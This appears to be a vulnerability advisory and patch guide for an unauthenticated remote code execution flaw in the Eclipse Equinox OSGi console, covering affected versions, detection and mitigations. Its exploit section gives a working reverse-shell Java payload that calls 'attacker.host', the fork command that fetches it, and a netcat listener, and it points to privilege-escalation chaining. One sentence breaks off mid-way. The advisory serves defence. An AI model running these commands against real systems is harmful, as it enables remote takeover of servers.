Eclipse Equinox OSGi Console RCE CVE-2023-54342 Analysis and Patch Guide
CVE-2023-54342 is a critical unauthenticated RCE in Eclipse Equinox OSGi 3.8 to 3.18. Learn the exploit mechanism, affected versions, and how to patch it.
Overview#
On 5 May 2026, VulnCheck disclosed CVE-2023-54342, a zero-authentication remote code execution vulnerability in the Eclipse Equinox OSGi console interface. The attack requires a telnet client, network access to the console port, and one command. No credentials, no exploit chain, no race condition. An attacker sends a single fork command and Equinox downloads and executes their payload inside its own JVM process. CISA assessed it as Automatable with Total technical impact. A working PoC has been publicly released.
The affected versions span Eclipse Equinox OSGi 3.8 through 3.18, a range that covers the majority of the Equinox ecosystem in production today. If you run any Equinox-based application with the console port reachable from outside localhost, assume you are vulnerable until the console is locked down.
Quick Facts#
CVE ID: CVE-2023-54342
Disclosed by: VulnCheck
Disclosure date: 5 May 2026
CVSS 3.1: 9.8 Critical | AV/AC/PR/UI/S/C/I/A
CVSS 4.0: 9.3 Critical | AV/AC/AT/PR/UI/VC/VI/VA
CWE: CWE-306 (Missing Authentication for Critical Function)
Affected component: Eclipse Equinox OSGi console interface (telnet)
Affected versions: Eclipse Equinox OSGi 3.8 through 3.18
Authentication required: None
CISA SSVC: Exploitation=PoC, Automatable=Yes, Technical Impact=Total
CVE assigned: 10 January 2026
Affected Environments#
Any application running Eclipse Equinox OSGi 3.8 through 3.18 with the -console flag active and the console port reachable from an untrusted network is vulnerable. This includes:
Eclipse IDE installations with remote console enabled
Eclipse RCP applications deployed with console support
IBM WebSphere Liberty installations using the Equinox runtime with console access
Custom OSGi applications built on Equinox 3.8 through 3.18
Ubuntu has flagged the eclipse-equinox package as needing triage on Ubuntu 24.04 LTS, 25.10, and 26.04. No distribution-level patch has been released as of 7 May 2026. Do not wait for a package update. Apply mitigations immediately.
What is Eclipse Equinox OSGi#
Eclipse Equinox is the reference implementation of the OSGi Core specification. OSGi is a dynamic module system for Java: applications are composed of bundles, each a self-contained JAR with declared dependencies and lifecycle hooks. Equinox manages bundle installation, activation, and resolution at runtime.
When Equinox is launched with the -console
Root Cause#
The Equinox console exposes a fork command that spawns a child process and accepts a URL as its argument. When issued, Equinox fetches the resource at the given URL and executes it as Java code within its own JVM, with the full OS-level privileges of the Equinox process. There is no authentication check at any point in this flow.
This is not a bypass of a weak login mechanism. There is no login mechanism. The console was built for trusted local environments and was never hardened for network exposure. Across versions 3.8 through 3.18, the fork command remained fully functional and fully unauthenticated, accessible to any TCP client that could reach the port.
Exploit Mechanism#
The exploit requires nothing beyond a telnet client and network access to the console port. The full chain from connection to reverse shell executes in seconds and is completely scriptable.
Step 1. Identify and Connect to the Console Port#
Find the active console port on the target by inspecting running Java processes:
ss -tlnp | grep javaThen open a telnet connection. No credential prompt will appear:
telnet target.host <port>Step 2. Stage the Payload#
Prepare a compiled Java class that launches a reverse shell. Host it on attacker-controlled infrastructure over HTTP. A minimal payload:
// ReverseShell.java
import java.lang.Runtime;
public class ReverseShell {
static {
try {
Runtime.getRuntime().exec(new String[]{
"/bin/bash", "-c",
"bash -i >& /dev/tcp/attacker.host/4444 0>&1"
});
} catch (Exception e) {}
}
}Compile and serve it:
javac ReverseShell.java
python3 -m http.server 80Step 3. Issue the Fork Command#
From the open console session, send the fork command pointing to the hosted payload:
fork http://attacker.host/ReverseShell.jarEquinox fetches and executes the class immediately. The payload runs with the OS privileges of the Equinox process. In a typical enterprise deployment this is a service account. In misconfigured environments it can be root.
Step 4. Catch the Shell#
# Start listener before issuing fork
nc -lvnp 4444The reverse shell lands within seconds of the fork command. No user interaction is required on the target side at any point.
Detection#
Scan for exposed console ports and confirm unauthenticated access:
# Find the console port
ss -tlnp | grep java
# Verify reachability
nmap -p <port> target.host
# Test for unauthenticated access
telnet target.host <port>If telnet connects and returns an OSGi prompt with no credential challenge, the system is exposed.
For log-based detection, monitor the Equinox framework log for fork command entries from unexpected sessions. Also watch for outbound HTTP connections initiated by the Java process to unknown hosts, which would indicate a payload fetch has already occurred. An audit rule for unexpected outbound connections from the service account running Equinox will catch active exploitation early.
How to Patch#
Option 1. Disable the Console (Recommended)#
Remove the -console flag from the Equinox launch configuration entirely, or set the property to empty in config.ini:
osgi.console=This eliminates the attack surface completely. No restart of the underlying application logic is required beyond applying the config change.
Option 2. Restrict to Localhost via Firewall#
If the console must remain active, block all external access at the network level:
# Replace <port> with your configured console port
iptables -A INPUT -p tcp --dport <port> -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport <port> -j DROPOption 3. Switch to SSH Console#
For deployments that require remote console access, replace the telnet interface with SSH-based console via osgi.console.ssh. This requires a valid SSH key or password to connect, removing the unauthenticated access vector entirely. Add the following to your OSGi configuration:
osgi.console.ssh=<port>
osgi.console.ssh.useDefaultSecureStorage=trueOption 4. Upgrade Equinox#
Upgrade to an Equinox version beyond 3.18 that ships with authentication controls on the console. Ubuntu users on 24.04 LTS, 25.10, or 26.04 should not wait for a package-level patch. Apply one of the mitigations above while upstream triage is ongoing.
Post-Exploitation: What Happens After the Shell#
CVE-2023-54342 delivers initial access at the privilege level of the Equinox process. From there, an attacker on a Linux host can chain it directly with CVE-2026-31431 Copy Fail, a Linux kernel LPE that escalates an unprivileged user shell to full root using a 732-byte Python exploit with no race condition and no kernel symbols required. On Windows hosts running Equinox-based applications, BlueHammer CVE-2026-33825 achieves the same escalation from user to SYSTEM through a Windows Defender flaw. Both LPEs have public exploits available, completing a fully automated zero-to-root chain against any unpatched, network-exposed Equinox deployment.
Timeline#
10 Jan 2026: CVE-2023-54342 assigned by MITRE
5 May 2026: VulnCheck public disclosure
5 May 2026: CISA SSVC assessment published
6 May 2026: Ubuntu security tracker flags eclipse-equinox on 24.04, 25.10, 26.04
7 May 2026: Patch status pending across all affected Ubuntu releases
References#
VulnCheck Advisory: Eclipse Equinox OSGi Console RCE
Ubuntu Security: CVE-2023-54342